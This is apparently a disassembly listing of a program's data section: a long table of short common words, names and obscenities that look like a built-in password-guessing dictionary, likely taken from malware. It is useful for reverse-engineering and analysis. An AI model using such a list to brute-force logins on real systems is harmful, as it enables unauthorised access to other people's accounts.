aHardcore	db 'hardcore',0         ; DATA XREF: _2:004302F0o
		align 10h
aHard		db 'hard',0             ; DATA XREF: _2:004302ECo
		align 4
aHappenin	db 'happenin',0         ; DATA XREF: _2:004302E8o
		align 4
aHandjob	db 'handjob',0          ; DATA XREF: _2:004302E4o
aHandily	db 'handily',0          ; DATA XREF: _2:004302E0o
aHandel		db 'handel',0           ; DATA XREF: _2:004302DCo
		align 4
aHamster	db 'hamster',0          ; DATA XREF: _2:004302D8o
aHamlet		db 'hamlet',0           ; DATA XREF: _2:004302D4o
		align 4
aHallowee	db 'hallowee',0         ; DATA XREF: _2:004302D0o
		align 4
aHair		db 'hair',0             ; DATA XREF: _2:004302CCo
		align 10h
aHagar		db 'hagar',0            ; DATA XREF: _2:004302C8o
		align 4
aHacked		db 'hacked',0           ; DATA XREF: _2:004302C4o
		align 10h
aHack		db 'hack',0             ; DATA XREF: _2:004302C0o
		align 4
aGuntis		db 'guntis',0           ; DATA XREF: _2:004302BCo
		align 10h
aGumption	db 'gumption',0         ; DATA XREF: _2:004302B8o
		align 4
aGuitar		db 'guitar',0           ; DATA XREF: _2:004302B4o
		align 4
aGuess		db 'guess',0            ; DATA XREF: _2:004302B0o
		align 4
aGucci		db 'gucci',0            ; DATA XREF: _2:004302ACo
		align 4
aGuardian	db 'guardian',0         ; DATA XREF: _2:004302A8o
		align 10h
aGryphon	db 'gryphon',0          ; DATA XREF: _2:004302A4o
aGroup		db 'group',0            ; DATA XREF: _2:004302A0o
		align 10h
aGreen		db 'green',0            ; DATA XREF: _2:0043029Co
		align 4
aGreat		db 'great',0            ; DATA XREF: _2:00430298o
		align 10h
aGrant		db 'grant',0            ; DATA XREF: _2:00430294o
		align 4
aGrand		db 'grand',0            ; DATA XREF: _2:00430290o
		align 10h
aGrahm		db 'grahm',0            ; DATA XREF: _2:0043028Co
		align 4
aGraham		db 'graham',0           ; DATA XREF: _2:00430288o
		align 10h
aGrades		db 'grades',0           ; DATA XREF: _2:00430284o
		align 4
aGovermen	db 'govermen',0         ; DATA XREF: _2:00430280o
		align 4
aGouge		db 'gouge',0            ; DATA XREF: _2:0043027Co
		align 4
aGosling	db 'gosling',0          ; DATA XREF: _2:00430278o
aGorges		db 'gorges',0           ; DATA XREF: _2:00430274o
		align 4
aGorgeous	db 'gorgeous',0         ; DATA XREF: _2:00430270o
		align 4
aGood		db 'good',0             ; DATA XREF: _2:0043026Co
		align 10h
aGolfer		db 'golfer',0           ; DATA XREF: _2:00430268o
		align 4
aGolf		db 'golf',0             ; DATA XREF: _2:00430264o
		align 10h
aGolden		db 'golden',0           ; DATA XREF: _2:00430260o
		align 4
aGold		db 'gold',0             ; DATA XREF: _2:0043025Co
		align 10h
aGlacier	db 'glacier',0          ; DATA XREF: _2:00430258o
aGirl		db 'girl',0             ; DATA XREF: _2:00430254o
		align 10h
aGinger		db 'ginger',0           ; DATA XREF: _2:00430250o
		align 4
aGina		db 'gina',0             ; DATA XREF: _2:0043024Co
		align 10h
aGigabyte	db 'gigabyte',0         ; DATA XREF: _2:00430248o
		align 4
aGibson		db 'gibson',0           ; DATA XREF: _2:00430244o
		align 4
aGhost		db 'ghost',0            ; DATA XREF: _2:00430240o
		align 4
aGertrude	db 'gertrude',0         ; DATA XREF: _2:0043023Co
		align 4
aGerm		db 'germ',0             ; DATA XREF: _2:00430238o
		align 10h
aGeorge		db 'george',0           ; DATA XREF: _2:00430234o
		align 4
aGauss		db 'gauss',0            ; DATA XREF: _2:00430230o
		align 10h
aGatt		db 'gatt',0             ; DATA XREF: _2:0043022Co
		align 4
aGatherin	db 'gatherin',0         ; DATA XREF: _2:00430228o
		align 4
aGateway	db 'gateway',0          ; DATA XREF: _2:00430224o
aGarfield	db 'garfield',0         ; DATA XREF: _2:00430220o
		align 4
aGardner	db 'gardner',0          ; DATA XREF: _2:0043021Co
aGames		db 'games',0            ; DATA XREF: _2:00430218o
		align 4
aGabriel	db 'gabriel',0          ; DATA XREF: _2:00430214o
aFungible	db 'fungible',0         ; DATA XREF: _2:00430210o
		align 4
aFunction	db 'function',0         ; DATA XREF: _2:0043020Co
		align 4
aFudge		db 'fudge',0            ; DATA XREF: _2:00430208o
		align 10h
aFuckyou	db 'fuckyou',0          ; DATA XREF: _2:00430204o
aFuckme		db 'fuckme',0           ; DATA XREF: _2:00430200o
		align 10h
aFucking	db 'fucking',0          ; DATA XREF: _2:004301FCo
aFucker		db 'fucker',0           ; DATA XREF: _2:004301F8o
		align 10h
aFuck		db 'fuck',0             ; DATA XREF: _2:004301F4o
		align 4
aFryguy		db 'fryguy',0           ; DATA XREF: _2:004301F0o
		align 10h
aFrog		db 'frog',0             ; DATA XREF: _2:004301ECo
		align 4
aFrighten	db 'frighten',0         ; DATA XREF: _2:004301E8o
		align 4
aFriends	db 'friends',0          ; DATA XREF: _2:004301E4o
aFriend		db 'friend',0           ; DATA XREF: _2:004301E0o
		align 4
aFriday		db 'friday',0           ; DATA XREF: _2:004301DCo
		align 4
aFrench		db 'french',0           ; DATA XREF: _2:004301D8o
		align 4
aFreedom	db 'freedom',0          ; DATA XREF: _2:004301D4o
aFree		db 'free',0             ; DATA XREF: _2:004301D0o
		align 4
aFred		db 'fred',0             ; DATA XREF: _2:004301CCo
		align 4
aFreak		db 'freak',0            ; DATA XREF: _2:004301C8o
		align 4
aFrank		db 'frank',0            ; DATA XREF: _2:004301C4o
		align 4
aFrance		db 'france',0           ; DATA XREF: _2:004301C0o
		align 4
aFoxtrot	db 'foxtrot',0          ; DATA XREF: _2:004301BCo
aFourier	db 'fourier',0          ; DATA XREF: _2:004301B8o
aForsythe	db 'forsythe',0         ; DATA XREF: _2:004301B4o
		align 10h
aFornicat	db 'fornicat',0         ; DATA XREF: _2:004301B0o
		align 4
aFormat		db 'format',0           ; DATA XREF: _2:004301ACo
		align 4
aForm		db 'form',0             ; DATA XREF: _2:004301A8o
		align 4
aForever	db 'forever',0          ; DATA XREF: _2:004301A4o
aForesigh	db 'foresigh',0         ; DATA XREF: _2:004301A0o
		align 10h
aFord		db 'ford',0             ; DATA XREF: _2:0043019Co
		align 4
aForce		db 'force',0            ; DATA XREF: _2:00430198o
		align 10h
aFootball	db 'football',0         ; DATA XREF: _2:00430194o
		align 4
aFoolproo	db 'foolproo',0         ; DATA XREF: _2:00430190o
		align 4
aFool		db 'fool',0             ; DATA XREF: _2:0043018Co
		align 10h
aFood		db 'food',0             ; DATA XREF: _2:00430188o
		align 4
aFlowers	db 'flowers',0          ; DATA XREF: _2:00430184o
aFlower		db 'flower',0           ; DATA XREF: _2:00430180o
		align 4
aFlorida	db 'florida',0          ; DATA XREF: _2:0043017Co
aFloat		db 'float',0            ; DATA XREF: _2:00430178o
		align 4
aFlakes		db 'flakes',0           ; DATA XREF: _2:00430174o
		align 10h
aFishers	db 'fishers',0          ; DATA XREF: _2:00430170o
aFirewall	db 'firewall',0         ; DATA XREF: _2:0043016Co
		align 4
aFire		db 'fire',0             ; DATA XREF: _2:00430168o
		align 4
aFinite		db 'finite',0           ; DATA XREF: _2:00430164o
		align 4
aFile		db 'file',0             ; DATA XREF: sub_40EE72+1E83o
					; sub_40EE72+1EF9o ...
		align 4
aFight		db 'fight',0            ; DATA XREF: _2:0043015Co
		align 4
aField		db 'field',0            ; DATA XREF: _2:00430158o
		align 4
aFidelity	db 'fidelity',0         ; DATA XREF: _2:00430154o
		align 4
aFerrari	db 'ferrari',0          ; DATA XREF: _2:00430150o
aFermat		db 'fermat',0           ; DATA XREF: _2:0043014Co
		align 4
aFender		db 'fender',0           ; DATA XREF: _2:00430148o
		align 10h
aFelicia	db 'felicia',0          ; DATA XREF: _2:00430144o
aFeds		db 'feds',0             ; DATA XREF: _2:00430140o
		align 10h
aFear		db 'fear',0             ; DATA XREF: _2:0043013Co
		align 4
aFast		db 'fast',0             ; DATA XREF: _2:00430138o
		align 10h
aFart		db 'fart',0             ; DATA XREF: _2:00430134o
		align 4
aFaraday	db 'faraday',0          ; DATA XREF: _2:00430130o
aFarad		db 'farad',0            ; DATA XREF: _2:0043012Co
		align 4
aFamily		db 'family',0           ; DATA XREF: _2:00430128o
		align 10h
aFalse		db 'false',0            ; DATA XREF: _2:00430124o
		align 4
aFalcon		db 'falcon',0           ; DATA XREF: _2:00430120o
		align 10h
aFaith		db 'faith',0            ; DATA XREF: _2:0043011Co
		align 4
aFairway	db 'fairway',0          ; DATA XREF: _2:00430118o
aExtensio	db 'extensio',0         ; DATA XREF: _2:00430114o
		align 4
aExplosiv	db 'explosiv',0         ; DATA XREF: _2:00430110o
		align 4
aExplorer	db 'explorer',0         ; DATA XREF: _2:0043010Co
		align 4
aExplore	db 'explore',0          ; DATA XREF: _2:00430108o
aExplode	db 'explode',0          ; DATA XREF: _2:00430104o
aExpert		db 'expert',0           ; DATA XREF: _2:00430100o
		align 4
aEvelyn		db 'evelyn',0           ; DATA XREF: _2:004300FCo
		align 4
aEuclid		db 'euclid',0           ; DATA XREF: _2:004300F8o
		align 4
aEternity	db 'eternity',0         ; DATA XREF: _2:004300F4o
		align 4
aEstate		db 'estate',0           ; DATA XREF: _2:004300F0o
		align 10h
aEstablis	db 'establis',0         ; DATA XREF: _2:004300ECo
		align 4
aErsatz		db 'ersatz',0           ; DATA XREF: _2:004300E8o
		align 4
aErotic		db 'erotic',0           ; DATA XREF: _2:004300E4o
		align 4
aErin		db 'erin',0             ; DATA XREF: _2:004300E0o
		align 4
aErika		db 'erika',0            ; DATA XREF: _2:004300DCo
		align 4
aErica		db 'erica',0            ; DATA XREF: _2:004300D8o
		align 4
aEric		db 'eric',0             ; DATA XREF: _2:004300D4o
		align 4
aErenity	db 'erenity',0          ; DATA XREF: _2:004300D0o
aEnzyme		db 'enzyme',0           ; DATA XREF: _2:004300CCo
		align 4
aEnterpri	db 'enterpri',0         ; DATA XREF: _2:004300C8o
		align 4
aEnter		db 'enter',0            ; DATA XREF: _2:004300C4o
		align 10h
aEnglish	db 'english',0          ; DATA XREF: _2:004300C0o
aEngland	db 'england',0          ; DATA XREF: _2:004300BCo
aEngineer	db 'engineer',0         ; DATA XREF: _2:004300B8o
		align 4
aEngine		db 'engine',0           ; DATA XREF: _2:004300B4o
		align 4
aEnemy		db 'enemy',0            ; DATA XREF: _2:004300B0o
		align 4
aEmmanuel	db 'emmanuel',0         ; DATA XREF: _2:004300ACo
		align 4
aEmily		db 'emily',0            ; DATA XREF: _2:004300A8o
		align 10h
aEmerald	db 'emerald',0          ; DATA XREF: _2:004300A4o
aEmail		db 'email',0            ; DATA XREF: _2:004300A0o
		align 10h
aEllen		db 'ellen',0            ; DATA XREF: _2:0043009Co
		align 4
aElizabet	db 'elizabet',0         ; DATA XREF: _2:00430098o
		align 4
aElephant	db 'elephant',0         ; DATA XREF: _2:00430094o
		align 10h
aElectron	db 'electron',0         ; DATA XREF: _2:00430090o
		align 4
aElanor		db 'elanor',0           ; DATA XREF: _2:0043008Co
		align 4
aElaine		db 'elaine',0           ; DATA XREF: _2:00430088o
		align 4
aEinstein	db 'einstein',0         ; DATA XREF: _2:00430084o
		align 4
aEinsiein	db 'einsiein',0         ; DATA XREF: _2:00430080o
		align 4
aEileen		db 'eileen',0           ; DATA XREF: _2:0043007Co
		align 4
aEiderdow	db 'eiderdow',0         ; DATA XREF: _2:00430078o
		align 4
aEgghead	db 'egghead',0          ; DATA XREF: _2:00430074o
aEdwina		db 'edwina',0           ; DATA XREF: _2:00430070o
		align 4
aEdwin		db 'edwin',0            ; DATA XREF: _2:0043006Co
		align 10h
aEducatio	db 'educatio',0         ; DATA XREF: _2:00430068o
		align 4
aEducation	db 'education',0        ; DATA XREF: _2:00430064o
		align 4
aEdition	db 'edition',0          ; DATA XREF: _2:00430060o
aEdit		db 'edit',0             ; DATA XREF: _2:off_43005Co
		align 4
aEdinburg	db 'edinburg',0         ; DATA XREF: _2:00430058o
		align 4
aEdges		db 'edges',0            ; DATA XREF: _2:00430054o
		align 4
aEddie		db 'eddie',0            ; DATA XREF: _2:off_430050o
		align 4
aEcho		db 'echo',0             ; DATA XREF: _2:0043004Co
		align 4
aEatme		db 'eatme',0            ; DATA XREF: _2:00430048o
		align 4
aEasy		db 'easy',0             ; DATA XREF: _2:00430044o
		align 4
aEasier		db 'easier',0           ; DATA XREF: _2:00430040o
		align 4
aEarth		db 'earth',0            ; DATA XREF: _2:0043003Co
		align 4
aEagle		db 'eagle',0            ; DATA XREF: _2:00430038o
		align 4
aEager		db 'eager',0            ; DATA XREF: _2:00430034o
		align 4
aDyke		db 'dyke',0             ; DATA XREF: _2:00430030o
		align 4
aDungeon	db 'dungeon',0          ; DATA XREF: _2:0043002Co
aDuncan		db 'duncan',0           ; DATA XREF: _2:00430028o
		align 4
aDulce		db 'dulce',0            ; DATA XREF: _2:00430024o
		align 4
aDuke		db 'duke',0             ; DATA XREF: _2:00430020o
		align 4
aDuelist	db 'duelist',0          ; DATA XREF: _2:0043001Co
aDude		db 'dude',0             ; DATA XREF: _2:00430018o
		align 4
aDuck		db 'duck',0             ; DATA XREF: _2:00430014o
		align 4
aDrought	db 'drought',0          ; DATA XREF: _2:00430010o
aDrive		db 'drive',0            ; DATA XREF: _2:0043000Co
		align 4
aDrdoom		db 'drdoom',0           ; DATA XREF: _2:00430008o
		align 4
aDragon		db 'dragon',0           ; DATA XREF: _2:00430004o
		align 4
aDownload	db 'download',0         ; DATA XREF: _2:00430000o
		align 4
aDope		db 'dope',0             ; DATA XREF: _2:0042FFFCo
		align 10h
aDoors		db 'doors',0            ; DATA XREF: _2:0042FFF8o
		align 4
aDoor		db 'door',0             ; DATA XREF: _2:0042FFF4o
		align 10h
aDoonesbu	db 'doonesbu',0         ; DATA XREF: _2:0042FFF0o
		align 4
aDoomsday	db 'doomsday',0         ; DATA XREF: _2:0042FFECo
		align 4
aDoomii		db 'doomii',0           ; DATA XREF: _2:0042FFE8o
		align 10h
aDoom2		db 'doom2',0            ; DATA XREF: _2:0042FFE4o
		align 4
aDoom		db 'doom',0             ; DATA XREF: _2:0042FFE0o
		align 10h
aDong		db 'dong',0             ; DATA XREF: _2:0042FFDCo
		align 4
aDollar		db 'dollar',0           ; DATA XREF: _2:0042FFD8o
		align 10h
aDoctor		db 'doctor',0           ; DATA XREF: _2:0042FFD4o
		align 4
aDisplay_0	db 'display',0          ; DATA XREF: _2:0042FFD0o
aDisney		db 'disney',0           ; DATA XREF: _2:0042FFCCo
		align 4
aDiskette	db 'diskette',0         ; DATA XREF: _2:0042FFC8o
		align 4
aDisk_0		db 'disk',0             ; DATA XREF: _2:0042FFC4o
		align 4
aDiscover	db 'discover',0         ; DATA XREF: _2:0042FFC0o
		align 4
aDisclose	db 'disclose',0         ; DATA XREF: _2:0042FFBCo
		align 4
aDiscipli	db 'discipli',0         ; DATA XREF: _2:0042FFB8o
		align 10h
aDisc		db 'disc',0             ; DATA XREF: _2:0042FFB4o
		align 4
aDirty		db 'dirty',0            ; DATA XREF: _2:0042FFB0o
		align 10h
aDirector	db 'director',0         ; DATA XREF: _2:0042FFACo
		align 4
aDirect		db 'direct',0           ; DATA XREF: _2:0042FFA8o
		align 4
aDipshit	db 'dipshit',0          ; DATA XREF: _2:0042FFA4o
aDinosaur	db 'dinosaur',0         ; DATA XREF: _2:0042FFA0o
		align 4
aDigital	db 'digital',0          ; DATA XREF: _2:0042FF9Co
aDieter		db 'dieter',0           ; DATA XREF: _2:0042FF98o
		align 4
aDiet		db 'diet',0             ; DATA XREF: _2:0042FF94o
		align 10h
aDiehard	db 'diehard',0          ; DATA XREF: _2:0042FF90o
aDick		db 'dick',0             ; DATA XREF: _2:0042FF8Co
		align 10h
aDice		db 'dice',0             ; DATA XREF: _2:0042FF88o
		align 4
aDiane		db 'diane',0            ; DATA XREF: _2:0042FF84o
		align 10h
aDiana		db 'diana',0            ; DATA XREF: _2:0042FF80o
		align 4
aDiamond	db 'diamond',0          ; DATA XREF: _2:0042FF7Co
aDial		db 'dial',0             ; DATA XREF: _2:0042FF78o
		align 4
aDevice		db 'device',0           ; DATA XREF: _2:0042FF74o
		align 10h
aDevelop	db 'develop',0          ; DATA XREF: _2:0042FF70o
aDesperat	db 'desperat',0         ; DATA XREF: _2:0042FF6Co
		align 4
aDesktop	db 'desktop',0          ; DATA XREF: _2:0042FF68o
aDesk		db 'desk',0             ; DATA XREF: _2:0042FF64o
		align 4
aDesiree	db 'desiree',0          ; DATA XREF: _2:0042FF60o
aDennis		db 'dennis',0           ; DATA XREF: _2:0042FF5Co
		align 4
aDenise		db 'denise',0           ; DATA XREF: _2:0042FF58o
		align 4
aDemocrat	db 'democrat',0         ; DATA XREF: _2:0042FF54o
		align 4
aDeluge		db 'deluge',0           ; DATA XREF: _2:0042FF50o
		align 10h
aDelta		db 'delta',0            ; DATA XREF: _2:0042FF4Co
		align 4
aDefoe		db 'defoe',0            ; DATA XREF: _2:0042FF48o
		align 10h
aDefault_0	db 'DEFAULT',0          ; DATA XREF: _2:0042FF44o
aDeck		db 'deck',0             ; DATA XREF: _2:0042FF3Co
		align 10h
aDecember	db 'december',0         ; DATA XREF: _2:0042FF38o
		align 4
aDebug		db 'debug',0            ; DATA XREF: _2:0042FF34o
		align 4
aDeborah	db 'deborah',0          ; DATA XREF: _2:0042FF30o
aDebbie		db 'debbie',0           ; DATA XREF: _2:0042FF2Co
		align 4
aDeathsta	db 'deathsta',0         ; DATA XREF: _2:0042FF28o
		align 10h
aDead		db 'dead',0             ; DATA XREF: _2:0042FF24o
		align 4
aDawn		db 'dawn',0             ; DATA XREF: _2:0042FF20o
		align 10h
aDave		db 'dave',0             ; DATA XREF: _2:0042FF1Co
		align 4
aData		db 'data',0             ; DATA XREF: _2:0042FF18o
		align 10h
aDarkaven	db 'darkaven',0         ; DATA XREF: _2:0042FF14o
		align 4
aDark		db 'dark',0             ; DATA XREF: _2:0042FF10o
		align 4
aDapper		db 'dapper',0           ; DATA XREF: _2:0042FF0Co
		align 4
aDanny		db 'danny',0            ; DATA XREF: _2:0042FF08o
		align 4
aDanielle	db 'danielle',0         ; DATA XREF: _2:0042FF04o
		align 10h
aDaniel		db 'daniel',0           ; DATA XREF: _2:0042FF00o
		align 4
aDancer		db 'dancer',0           ; DATA XREF: _2:0042FEFCo
		align 10h
aDana		db 'dana',0             ; DATA XREF: _2:0042FEF8o
		align 4
aDaisy		db 'daisy',0            ; DATA XREF: _2:0042FEF4o
		align 10h
aDaemon		db 'daemon',0           ; DATA XREF: _2:0042FEF0o
		align 4
aCynthia	db 'cynthia',0          ; DATA XREF: _2:0042FEECo
aCyberspa	db 'cyberspa',0         ; DATA XREF: _2:0042FEE8o
		align 4
aCyberpun	db 'cyberpun',0         ; DATA XREF: _2:0042FEE4o
		align 4
aCyber		db 'cyber',0            ; DATA XREF: _2:0042FEE0o
		align 10h
aCustomer	db 'customer',0         ; DATA XREF: _2:0042FEDCo
		align 4
aCunt		db 'cunt',0             ; DATA XREF: _2:0042FED8o
		align 4
aCshrc		db 'cshrc',0            ; DATA XREF: _2:0042FED4o
		align 4
aCrystal	db 'crystal',0          ; DATA XREF: _2:0042FED0o
aCristina	db 'cristina',0         ; DATA XREF: _2:0042FECCo
		align 10h
aCriminal	db 'criminal',0         ; DATA XREF: _2:0042FEC8o
		align 4
aCrime		db 'crime',0            ; DATA XREF: _2:0042FEC4o
		align 4
aCretin		db 'cretin',0           ; DATA XREF: _2:0042FEC0o
		align 4
aCreosote	db 'creosote',0         ; DATA XREF: _2:0042FEBCo
		align 4
aCredit		db 'credit',0           ; DATA XREF: _2:0042FEB8o
		align 10h
aCreature	db 'creature',0         ; DATA XREF: _2:0042FEB4o
		align 4
aCreation	db 'creation',0         ; DATA XREF: _2:0042FEB0o
		align 4
aCreate		db 'create',0           ; DATA XREF: _2:0042FEACo
		align 10h
aCream		db 'cream',0            ; DATA XREF: _2:0042FEA8o
		align 4
aCrackpot	db 'crackpot',0         ; DATA XREF: _2:0042FEA4o
		align 4
aCrack		db 'crack',0            ; DATA XREF: _2:0042FEA0o
		align 4
aCowboy		db 'cowboy',0           ; DATA XREF: _2:0042FE9Co
		align 4
aCouscous	db 'couscous',0         ; DATA XREF: _2:0042FE98o
		align 10h
aCountry	db 'country',0          ; DATA XREF: _2:0042FE94o
aCounters	db 'counters',0         ; DATA XREF: _2:0042FE90o
		align 4
aCorrect	db 'correct',0          ; DATA XREF: _2:0042FE8Co
aCorneliu	db 'corneliu',0         ; DATA XREF: _2:0042FE88o
		align 4
aCopy		db 'copy',0             ; DATA XREF: _2:0042FE84o
		align 10h
aCops		db 'cops',0             ; DATA XREF: _2:0042FE80o
		align 4
aCopper		db 'copper',0           ; DATA XREF: _2:0042FE7Co
		align 10h
aCooper		db 'cooper',0           ; DATA XREF: _2:0042FE78o
		align 4
aCool_1		db 'cool',0             ; DATA XREF: _2:0042FE74o
		align 10h
aCookie		db 'cookie',0           ; DATA XREF: _2:0042FE70o
		align 4
aCookbook	db 'cookbook',0         ; DATA XREF: _2:0042FE6Co
		align 4
aCook		db 'cook',0             ; DATA XREF: _2:0042FE68o
		align 4
aContinue	db 'continue',0         ; DATA XREF: sub_40EE72+20E5o
					; _2:0042FE64o
		align 4
aConsole	db 'console',0          ; DATA XREF: _2:0042FE60o
aConserva	db 'conserva',0         ; DATA XREF: _2:0042FE5Co
		align 4
aConnie		db 'connie',0           ; DATA XREF: _2:0042FE58o
		align 4
aCondom		db 'condom',0           ; DATA XREF: _2:0042FE50o
		align 4
aCondo		db 'condo',0            ; DATA XREF: _2:0042FE4Co
		align 4
aComrades	db 'comrades',0         ; DATA XREF: _2:0042FE48o
		align 10h
aComrade	db 'comrade',0          ; DATA XREF: _2:0042FE44o
aComputin	db 'computin',0         ; DATA XREF: _2:0042FE40o
		align 4
aCompany	db 'company',0          ; DATA XREF: _2:0042FE3Co
aCommrade	db 'commrade',0         ; DATA XREF: _2:0042FE38o
		align 4
aCommit		db 'commit',0           ; DATA XREF: _2:0042FE34o
		align 10h
aComics		db 'comics',0           ; DATA XREF: _2:0042FE30o
		align 4
aCombat		db 'combat',0           ; DATA XREF: _2:0042FE2Co
		align 10h
aColor		db 'color',0            ; DATA XREF: _2:0042FE28o
		align 4
aCollins	db 'collins',0          ; DATA XREF: _2:0042FE24o
aCold		db 'cold',0             ; DATA XREF: _2:0042FE20o
		align 4
aCola		db 'cola',0             ; DATA XREF: _2:0042FE1Co
		align 10h
aCoke		db 'coke',0             ; DATA XREF: _2:0042FE18o
		align 4
aCoin		db 'coin',0             ; DATA XREF: _2:0042FE14o
		align 10h
aCoffee		db 'coffee',0           ; DATA XREF: _2:0042FE10o
		align 4
aCodeword	db 'codeword',0         ; DATA XREF: _2:0042FE0Co
		align 4
aCodename	db 'codename',0         ; DATA XREF: _2:0042FE08o
		align 10h
aCode		db 'code',0             ; DATA XREF: _2:0042FE04o
		align 4
aCock		db 'cock',0             ; DATA XREF: _2:0042FE00o
		align 10h
aCocainco	db 'cocainco',0         ; DATA XREF: _2:0042FDFCo
		align 4
aCocacola	db 'cocacola',0         ; DATA XREF: _2:0042FDF8o
		align 4
aCoast		db 'coast',0            ; DATA XREF: _2:0042FDF4o
		align 10h
aClusters	db 'clusters',0         ; DATA XREF: _2:0042FDF0o
		align 4
aCluster	db 'cluster',0          ; DATA XREF: _2:0042FDECo
aClinton	db 'clinton',0          ; DATA XREF: _2:0042FDE8o
aCleavage	db 'cleavage',0         ; DATA XREF: _2:0042FDE4o
		align 4
aClaymore	db 'claymore',0         ; DATA XREF: _2:0042FDE0o
		align 4
aClaudia	db 'claudia',0          ; DATA XREF: _2:0042FDDCo
aClassic	db 'classic',0          ; DATA XREF: _2:0042FDD8o
aClasses	db 'classes',0          ; DATA XREF: _2:0042FDD4o
aClass		db 'class',0            ; DATA XREF: _2:0042FDD0o
		align 4
aCindy		db 'cindy',0            ; DATA XREF: _2:0042FDCCo
		align 4
aCigarett	db 'cigarett',0         ; DATA XREF: _2:0042FDC8o
		align 4
aCigar		db 'cigar',0            ; DATA XREF: _2:0042FDC4o
		align 10h
aChristy	db 'christy',0          ; DATA XREF: _2:0042FDC0o
aChristin	db 'christin',0         ; DATA XREF: _2:0042FDBCo
		align 4
aChris		db 'chris',0            ; DATA XREF: _2:0042FDB8o
		align 4
aChip		db 'chip',0             ; DATA XREF: _2:0042FDB4o
		align 4
aChester	db 'chester',0          ; DATA XREF: _2:0042FDB0o
aChess		db 'chess',0            ; DATA XREF: _2:0042FDACo
		align 4
aChemistr	db 'chemistr',0         ; DATA XREF: _2:0042FDA8o
		align 10h
aChem		db 'chem',0             ; DATA XREF: _2:0042FDA4o
		align 4
aChat_0		db 'chat',0             ; DATA XREF: _2:0042FDA0o
		align 10h
aCharon		db 'charon',0           ; DATA XREF: _2:0042FD9Co
		align 4
aCharming	db 'charming',0         ; DATA XREF: _2:0042FD98o
		align 4
aCharlie	db 'charlie',0          ; DATA XREF: _2:0042FD94o
aCharles	db 'charles',0          ; DATA XREF: _2:0042FD90o
aCharity	db 'charity',0          ; DATA XREF: _2:0042FD8Co
aChange		db 'change',0           ; DATA XREF: _2:0042FD88o
		align 4
aCerulean	db 'cerulean',0         ; DATA XREF: _2:0042FD84o
		align 10h
aCeltics	db 'celtics',0          ; DATA XREF: _2:0042FD80o
aCeltic		db 'celtic',0           ; DATA XREF: _2:0042FD7Co
		align 10h
aCelt		db 'celt',0             ; DATA XREF: _2:0042FD78o
		align 4
aCecily		db 'cecily',0           ; DATA XREF: _2:0042FD74o
		align 10h
aCayuga		db 'cayuga',0           ; DATA XREF: _2:0042FD70o
		align 4
aCave		db 'cave',0             ; DATA XREF: _2:0042FD6Co
		align 10h
aCathy		db 'cathy',0            ; DATA XREF: _2:0042FD68o
		align 4
aCatholic	db 'catholic',0         ; DATA XREF: _2:0042FD64o
		align 4
aCatherin	db 'catherin',0         ; DATA XREF: _2:0042FD60o
		align 10h
aCastle		db 'castle',0           ; DATA XREF: _2:0042FD5Co
		align 4
aCash		db 'cash',0             ; DATA XREF: _2:0042FD58o
		align 10h
aCascades	db 'cascades',0         ; DATA XREF: _2:0042FD54o
		align 4
aCarson		db 'carson',0           ; DATA XREF: _2:0042FD50o
		align 4
aCarrie		db 'carrie',0           ; DATA XREF: _2:0042FD4Co
		align 4
aCaroline	db 'caroline',0         ; DATA XREF: _2:0042FD48o
		align 4
aCarolina	db 'carolina',0         ; DATA XREF: _2:0042FD44o
		align 4
aCarole		db 'carole',0           ; DATA XREF: _2:0042FD40o
		align 4
aCarol		db 'carol',0            ; DATA XREF: _2:0042FD3Co
		align 4
aCarmen		db 'carmen',0           ; DATA XREF: _2:0042FD38o
		align 4
aCarla		db 'carla',0            ; DATA XREF: _2:0042FD34o
		align 4
aCaren		db 'caren',0            ; DATA XREF: _2:0042FD30o
		align 4
aCardinal	db 'cardinal',0         ; DATA XREF: _2:0042FD2Co
		align 4
aCard		db 'card',0             ; DATA XREF: _2:0042FD28o
		align 10h
aCapture	db 'capture',0          ; DATA XREF: _2:0042FD24o
aCaptain	db 'captain',0          ; DATA XREF: _2:0042FD20o
aCantor		db 'cantor',0           ; DATA XREF: _2:0042FD1Co
		align 4
aCandy		db 'candy',0            ; DATA XREF: _2:0042FD18o
		align 10h
aCandi		db 'candi',0            ; DATA XREF: _2:0042FD14o
		align 4
aCamping	db 'camping',0          ; DATA XREF: _2:0042FD10o
aCampanil	db 'campanil',0         ; DATA XREF: _2:0042FD0Co
		align 4
aCamille	db 'camille',0          ; DATA XREF: _2:0042FD08o
aCaliforn	db 'californ',0         ; DATA XREF: _2:0042FD04o
		align 10h
aButthead	db 'butthead',0         ; DATA XREF: _2:0042FD00o
		align 4
aButt		db 'butt',0             ; DATA XREF: _2:0042FCFCo
		align 4
aButch		db 'butch',0            ; DATA XREF: _2:0042FCF8o
		align 4
aBurn		db 'burn',0             ; DATA XREF: _2:0042FCF4o
		align 4
aBurgess	db 'burgess',0          ; DATA XREF: _2:0042FCF0o
aBung		db 'bung',0             ; DATA XREF: _2:0042FCECo
		align 4
aBumbling	db 'bumbling',0         ; DATA XREF: _2:0042FCE8o
		align 10h
aBullshit	db 'bullshit',0         ; DATA XREF: _2:0042FCE4o
		align 4
aBulls		db 'bulls',0            ; DATA XREF: _2:0042FCE0o
		align 4
aBrutefor	db 'brutefor',0         ; DATA XREF: _2:0042FCDCo
		align 10h
aBrute		db 'brute',0            ; DATA XREF: _2:0042FCD8o
		align 4
aBrunette	db 'brunette',0         ; DATA XREF: _2:0042FCD4o
		align 4
aBrothel	db 'brothel',0          ; DATA XREF: _2:0042FCD0o
aBroadway	db 'broadway',0         ; DATA XREF: _2:0042FCCCo
		align 4
aBridget	db 'bridget',0          ; DATA XREF: _2:0042FCC8o
aBrian		db 'brian',0            ; DATA XREF: _2:0042FCC4o
		align 4
aBrenda		db 'brenda',0           ; DATA XREF: _2:0042FCC0o
		align 10h
aBreast		db 'breast',0           ; DATA XREF: _2:0042FCBCo
		align 4
aBreak		db 'break',0            ; DATA XREF: _2:0042FCB8o
		align 10h
aBravo		db 'bravo',0            ; DATA XREF: _2:0042FCB4o
		align 4
aBrandy		db 'brandy',0           ; DATA XREF: _2:0042FCB0o
		align 10h
aBrandi		db 'brandi',0           ; DATA XREF: _2:0042FCACo
		align 4
aBradley	db 'bradley',0          ; DATA XREF: _2:0042FCA8o
aBoyscout	db 'boyscout',0         ; DATA XREF: _2:0042FCA4o
		align 4
aBorn		db 'born',0             ; DATA XREF: _2:0042FCA0o
		align 4
aBook		db 'book',0             ; DATA XREF: _2:0042FC9Co
		align 4
aBoobs		db 'boobs',0            ; DATA XREF: _2:0042FC98o
		align 4
aBoob		db 'boob',0             ; DATA XREF: _2:0042FC94o
		align 4
